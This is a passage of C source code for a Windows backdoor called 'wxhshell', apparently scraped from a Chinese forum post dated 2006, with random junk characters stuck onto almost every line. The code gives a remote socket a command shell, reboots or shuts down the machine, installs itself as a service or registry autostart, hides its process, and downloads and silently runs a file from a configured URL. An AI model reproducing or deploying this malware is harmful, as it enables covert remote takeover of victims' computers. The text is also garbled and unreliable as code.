    break; ]$hBMuUa  
  } Q b%J8juRf  
  // 安装 I^]nqK  
  case 'i': { Vvo 7C!$z  
    if(Install()) 6u%&<")4HP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4M T 7`sr  
    else |j|rS5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/.6>4tE:  
    break; UF|p';oom  
    } m {}Lm)M  
  // 卸载 9BB=YnKE  
  case 'r': { HOi`$vX }N  
    if(Uninstall()) P<-@h1p,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TA\vZGJ('  
    else k:%%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3|Z7eW}[  
    break; Ort(AfW  
    } +7a6*;\ y  
  // 显示 wxhshell 所在路径 76SXJ9@x  
  case 'p': { !IR6 ,A\  
    char svExeFile[MAX_PATH]; @VI@fN  
    strcpy(svExeFile,"\n\r"); "M0z(N kH  
      strcat(svExeFile,ExeFile); qgB_=Q#E  
        send(wsh,svExeFile,strlen(svExeFile),0); @F>D+=hS  
    break; [>9is=>o.  
    } gDzK{6Z}  
  // 重启 A}^mdw9  
  case 'b': { =MWHJ'3-/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x~sBzTa  
    if(Boot(REBOOT)) _v:SP LU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `@%LzeGz  
    else { ` %}RNC  
    closesocket(wsh); -RLOD\ZBh  
    ExitThread(0); ;@J}}h'y  
    } (At$3b6  
    break; Lj7AZ|k  
    } ^^Vg~){4  
  // 关机 d_ CT $  
  case 'd': { MOC/KNb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YZ7.1`8  
    if(Boot(SHUTDOWN)) =lSNs   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|Z{-*`  
    else { w(F%^o\  
    closesocket(wsh); 0}9h]X'  
    ExitThread(0); sq]F;=[5  
    } < Z$J<]I  
    break; ,//S`j$S  
    } 8EY:t zw  
  // 获取shell (% 9$!v{3  
  case 's': { 0{mex4  
    CmdShell(wsh); k=^xVQuI  
    closesocket(wsh); ?cZlN !  
    ExitThread(0); &Qm@9Is  
    break; V6Dbd" i9  
  } tp|d*7^i  
  // 退出 $ Q0n  
  case 'x': { 31)&vf[[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P2Y^d#jO  
    CloseIt(wsh); t,' <gI  
    break; .C(tMF]D,  
    } JI5Dy>u:  
  // 离开 ^@]3R QB  
  case 'q': { `mqMLo *  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \NC3'G:Ii  
    closesocket(wsh); nFn5v'g  
    WSACleanup(); N g,j#  
    exit(1); }7X%'Bg=M  
    break; T C"<g  
        } $xQL]FmS  
  } 7Lt)nq-b  
  } 05[SC}MCA  
%)wjR/o  
  // 提示信息 \v/[6&|X0s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ss`LLq0LO  
} W!<U85-#S  
  } j.YA 2mr  
+|rj4j)L&'  
  return; _*zt=zn>  
} vv7I_nK?  
KSL`W2}  
// shell模块句柄 g .\[o@H  
int CmdShell(SOCKET sock) 8ipez/  
{ Debv4Gr;^  
STARTUPINFO si; r :dTz  
ZeroMemory(&si,sizeof(si)); /<3UQLMa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KmF]\:sMD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > P)w?:k  
PROCESS_INFORMATION ProcessInfo; r=4eP(w=  
char cmdline[]="cmd"; @WB@]-+J T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nP$9CA  
  return 0; 54/=G(F   
} `{Ul!  
[ 3HfQ  
// 自身启动模式 ctUp=po  
int StartFromService(void) YzWz|  
{ #Dac~>a'  
typedef struct Mfs?x a  
{ N;gfbh]  
  DWORD ExitStatus; j#6.Gq  
  DWORD PebBaseAddress; dRDnJc3  
  DWORD AffinityMask; He)%S]RLk  
  DWORD BasePriority; q:(%*sY>  
  ULONG UniqueProcessId; h$*!8=M  
  ULONG InheritedFromUniqueProcessId; Ls%MGs9PI  
}   PROCESS_BASIC_INFORMATION; `2snz1>!j  
u&NV,6Fj2[  
PROCNTQSIP NtQueryInformationProcess; *] (iS  
7Ix973^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~m |BC*)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |{8Pb3#U  
626r^c=  
  HANDLE             hProcess; rGO8!X 3d  
  PROCESS_BASIC_INFORMATION pbi; :-'qC8C  
]{iQ21`a-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $C\BcKlmv  
  if(NULL == hInst ) return 0; :%.D78&  
HV.t6@\};  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O84i;S+-p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #F#%`Rv1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A's{j7  
g){<y~Mk  
  if (!NtQueryInformationProcess) return 0; RZ7@cQY  
9iq_rd]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o@Oqm>]SS  
  if(!hProcess) return 0; nlYNN/@"  
rKn~qVls  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YMgNzu  
_L PHPj^Pg  
  CloseHandle(hProcess); w@b)g  
(?c-iKGc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OH88n69  
if(hProcess==NULL) return 0; Z7#+pPt!  
N0lC0 N?_J  
HMODULE hMod; eJSxn1GW  
char procName[255]; j F>[?L  
unsigned long cbNeeded; . ^u,.  
;I*o@x_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T |p"0b A  
.h[:xYm  
  CloseHandle(hProcess); ~`/V(r;o  
"{n&~H`  
if(strstr(procName,"services")) return 1; // 以服务启动 ^_6|X]tz1T  
/mMV{[  
  return 0; // 注册表启动 Q@niNDaW2  
} zTp"AuNHN  
hc1N ~$3!G  
// 主模块 `gJ(0#ac  
int StartWxhshell(LPSTR lpCmdLine) g :OI  
{ ?`#Khff?  
  SOCKET wsl; y*? Jui Q  
BOOL val=TRUE; nEfK53i_  
  int port=0; <[v[ci  
  struct sockaddr_in door; %RVZD#zr  
IcEdG(  
  if(wscfg.ws_autoins) Install(); )7d&NE_  
j [a(#V{  
port=atoi(lpCmdLine); ZoeD:xnh[  
F:VIzyMq<  
if(port<=0) port=wscfg.ws_port; GeqPRah  
:Al!1BJQ  
  WSADATA data; 5bIw?%dk(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SKtrtm  
OVJ0}5P*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~dSr5LUD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z G:{[sT  
  door.sin_family = AF_INET; .6> w'F{>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R/_&m$ZB  
  door.sin_port = htons(port); %C0Dw\A*:  
B[}6-2<>?C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H.;Q+A,8^  
closesocket(wsl); \!(zrfP{(  
return 1; ZC ?Xqp  
} n|hNM?v  
G B^Br6  
  if(listen(wsl,2) == INVALID_SOCKET) { 9$Y=orpWxr  
closesocket(wsl); fOHxtHM  
return 1; 5N]"~w*  
} jylD6IT  
  Wxhshell(wsl); [?gP;,  
  WSACleanup(); B:<VA=  
5^cCY'I  
return 0; 5xBbrU;  
=%7-ZH9  
} Q/?$x*\>  
[KQi.u  
// 以NT服务方式启动 {_}I!`opr$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I'Hf{Erw  
{ ~~.}ah/_d  
DWORD   status = 0; ta0|^KAA  
  DWORD   specificError = 0xfffffff; xG 1n GO  
[WJ+h~~ o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ni>[D"|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Smh,zCc>s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,+VGSd  
  serviceStatus.dwWin32ExitCode     = 0; 7^Uv7< pw  
  serviceStatus.dwServiceSpecificExitCode = 0; SJLis"8  
  serviceStatus.dwCheckPoint       = 0; 7=uj2.J6  
  serviceStatus.dwWaitHint       = 0; JT?h1v<H]  
WAqINLdX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _g8yDfcLG  
  if (hServiceStatusHandle==0) return; 8|^7ai[am  
WxDh;*am:  
status = GetLastError(); AX INThJ  
  if (status!=NO_ERROR) ]|@^1we  
{ "4Nt\WQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +_!QSU,@  
    serviceStatus.dwCheckPoint       = 0; \wZe] G%S  
    serviceStatus.dwWaitHint       = 0; h;Kx!5)y  
    serviceStatus.dwWin32ExitCode     = status; TpaInXR  
    serviceStatus.dwServiceSpecificExitCode = specificError; CITc2v3a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =M1I>  
    return; {:s f7  
  } qK+5NF|  
Sdo-nt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ef\ -VKh  
  serviceStatus.dwCheckPoint       = 0; hP h-+Hb  
  serviceStatus.dwWaitHint       = 0; s~>}a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nTas~~Q  
} #_1`)VS  
)BE1Q*= n  
// 处理NT服务事件,比如:启动、停止 '"^'MXa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (:_$5&i7  
{ kM 6 Qp  
switch(fdwControl) NbobliC=  
{ e.>P8C<&  
case SERVICE_CONTROL_STOP: W^Yxny  
  serviceStatus.dwWin32ExitCode = 0; D9df=lv mD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~[ jQ!tz  
  serviceStatus.dwCheckPoint   = 0; |pK !S  
  serviceStatus.dwWaitHint     = 0; I]575\bA  
  { ' QG?nu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7pd$\$  
  } txpgO1  
  return; K'bP@y_cq  
case SERVICE_CONTROL_PAUSE: Z;i:](  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dv"9qk  
  break; ;gkM{={`p  
case SERVICE_CONTROL_CONTINUE: ZNoDFf*h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 5e~6",  
  break; sB</DS  
case SERVICE_CONTROL_INTERROGATE: XSDpRo  
  break; ' %qr.T %  
}; Ri{=]$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r$1Qf}J3=  
} |>Vb9:q9Po  
ok[i<zl; '  
// 标准应用程序主函数 97]E1j]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <} .$l  
{ hM{bavd  
NUZl`fu1Z4  
// 获取操作系统版本 6<]lW  
OsIsNt=GetOsVer(); b-DvW4B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zda 3 ,U2o  
UZMd~|  
  // 从命令行安装 S!UaH>Rh  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3<!7>]A  
n]9$:aLZ  
  // 下载执行文件 ]'}L 1r  
if(wscfg.ws_downexe) { )UR7i8]!0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QY/w  
  WinExec(wscfg.ws_filenam,SW_HIDE); zdYjF|  
} ,2q-D&)\Z  
 &HW9Jn  
if(!OsIsNt) { O?2DQY?jT  
// 如果时win9x,隐藏进程并且设置为注册表启动 +R&gqja  
HideProc(); ![1rzQvGDb  
StartWxhshell(lpCmdLine); -~1~I e2  
} Tx D#9]Q`  
else 2 nCA<&  
  if(StartFromService()) $]d^-{|  
  // 以服务方式启动 E fDH6  
  StartServiceCtrlDispatcher(DispatchTable); 6 N4~~O  
else \85i+q:LuA  
  // 普通方式启动 gJXaPJA{  
  StartWxhshell(lpCmdLine); +rd+0 `}C  
XwmL.Gg:]7  
return 0; 3n _htgcv  
}
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只看该作者 1 发表于: 2006-10-10
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